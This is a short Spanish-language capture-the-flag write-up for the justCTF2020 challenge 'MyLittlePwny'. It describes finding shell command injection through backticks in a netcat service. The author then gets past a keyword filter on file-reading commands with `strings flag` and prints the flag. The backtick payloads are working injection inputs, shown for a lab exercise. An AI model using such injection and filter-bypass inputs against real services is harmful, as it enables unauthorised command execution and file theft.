justCTF2020 - MyLittlePwny
pwn
Ponies like only one type of numbers!
Descubrir la vulnerabilidad
En este reto no se nos entrega el código fuente lo que me llama la atención.
Me conecto al servidor con netcat y me aparece un prompt, lo primero que se me viene a la mente es “format string” pero tras probar con “%x” aparece un pony que me dice “< I can’t swear ;( >”. Pruebo con una cadena larga de caracteres por si hubiera un BoF pero lo unico que consigo es que un pony me repita la cadena.
Comienzo a probar caracteres hasta llegar al backtick, entonces me aparece este error: “/bin/sh: 2: Syntax error: EOF in backquote substitution”. Entonces me doy cuenta de que puedo inyectar comandos, pruebo `ls` y el pony me dice: “< bin flag lib lib64 server.py usr >” pero intento `cat flag` y el pony me dice: “< I like cats :) >”
`less flag` No less, no more!
`more flag` No less, no more!
`tail flag` I have a ponytail!
`head flag` My head is in the clouds :heart:
`grep flag` Yay! I love grapes :yum:
`sed flag` You make me sad :(
`awk flag` This is so awkward…
Hasta que doy con la clave:
`strings flag`
Flag: justCTF{p0nY_t4lEs_b3giN5_h3r3}